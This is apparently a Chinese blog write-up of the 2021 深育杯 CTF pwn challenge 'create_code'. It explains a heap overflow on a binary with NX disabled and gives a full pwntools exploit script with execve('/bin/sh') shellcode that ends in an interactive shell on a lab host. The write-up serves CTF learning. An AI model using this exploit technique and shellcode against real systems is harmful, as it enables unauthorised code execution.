2021 深育杯 pwn create_code

在这里插入图片描述

保护没有开NX,能执行shellcode。

在这里插入图片描述malloc中可以执行一段shellcode。
但是字节大小不能大于15

我们一定是需要输入正常的shellcode的。
因为我们其实可以看的到有溢出,可以想办法在堆里布置好shellcode,然后在一个chunk中通过一些符合条件但没什么用的代码走下去,走到我们shellcode。

然后我们试图去找合适的汇编代码。
http://ref.x86asm.net/coder64.html#x0F48

在这里插入图片描述
利用起来。

# -*- coding: utf-8 -*-
from pwn import*

context.log_level='debug'
context.arch='amd64'
context.os = "linux"

local = 0
if local:
    r = process('./create_code')

else:
    r = remote("192.168.37.130",2007)

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()

src = '''
    b *$rebase(0x1507)
    c
'''

def debug():
    gdb.attach(r, src)
    pause()
    
def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def create(content):
    sla("> ", "1")
    sa("content: ", content)

def dele(index):
    sla("> ", "3")
    sla("id: ", str(index))

shellcode = '''
        push 0x68
        mov rax, 0x68732f6e69622f
        push rax
        mov rdi, rsp
        xor esi, esi /* 0 */
        xor edx, edx /* 0 */
        /* call execve() */
        push 59 /* 0x3b */
        pop rax
        syscall
'''

payload = 'a' * 0xb8 + (p8(0xd) + p32(0x01010101)) + asm(shellcode)
create("aaaa")
create(payload)

dele(0)

#debug()
payload = p32(0xf012f012) + (p8(0xd) + p32(0x01010101)) * (0x3e8 / 5)
create(payload)

ti()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值